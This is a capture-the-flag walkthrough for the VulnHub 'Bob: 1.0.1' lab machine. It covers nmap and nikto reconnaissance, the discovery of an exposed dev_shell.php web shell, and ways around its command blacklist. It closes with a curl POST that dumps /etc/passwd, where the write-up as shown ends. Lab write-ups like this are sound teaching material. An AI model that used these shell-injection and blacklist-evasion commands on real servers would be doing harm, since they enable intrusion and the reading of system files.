Bob: 1.0.1 ~ Vulnhub - Walkthrough

Objective

Get the flag in /

Source: [VulnHub.com]

Status: [In Progress]

Methodology

Define our target

root@kali:# export TANGO=192.168.56.101

Discovery

root@kali:# nmap -O -p- -sT -sV -T5 -o nmap.txt $TANGO

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     ProFTPD 1.3.5b
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
25468/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
MAC Address: 08:00:27:C0:CC:74 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Entry Point #1 - Port 80 (HTTP)

Enumeration

root@blaksec:~# nikto -h $TANGO
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.101
+ Target Hostname:    192.168.56.101
+ Target Port:        80
+ Start Time:         2018-05-24 18:19:38 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x591 0x5669af30ee8f1 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/dev_shell.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/lat_memo.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/passwords.html' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
+ 7539 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2018-05-24 18:19:49 (GMT-4) (11 seconds)
---------------------------------------------------------------------------

Let's take a closer look at that robots.txt

root@kali:~# curl http://$TANGO/robots.txt
User-agent: *
Disallow: /login.php
Disallow: /dev_shell.php
Disallow: /lat_memo.html
Disallow: /passwords.html

dev_shell.php sounds very promising. Dive dive dive!

After good 30 mins of poking it appeared there is some sort of blaklist - commands like ls, pwd, cat, nc are being blocked. Nothing we can't work around though - all we had to do is to replace ls with find, echo, dir, and cat with strings (see Exploiting web shells - working your way around blacklisted commands for more sweet workarounds).

Let's see what we have!

root@blaksec:~# curl -s -d "in_command=strings /etc/passwd" -X POST http://$TANGO/dev_shell.php
...
c0rruptedb1t:x:1000:1000:c0rruptedb1t,,,:/home/c0rruptedb1t:/bin/bash
bob:x:1001:1001:Bob,,,,Not the smartest person:/home/bob:/bin/bash
jc:x:1002:1002:James C,,,:/home/jc:/bin/bash
seb:x:1003:1003:Sebastian W,,,:/home/seb:/bin/bash
elliot:x:1004:1004:Elliot A,,,:/home/elliot:/bin/bash
sshd:x:116:65534::/run/sshd:/usr/sbin/nologin
proftpd:x:117:65534::/run/proftpd:/bin/false
ftp:x:118:65534::/srv/ftp:/bin/false
...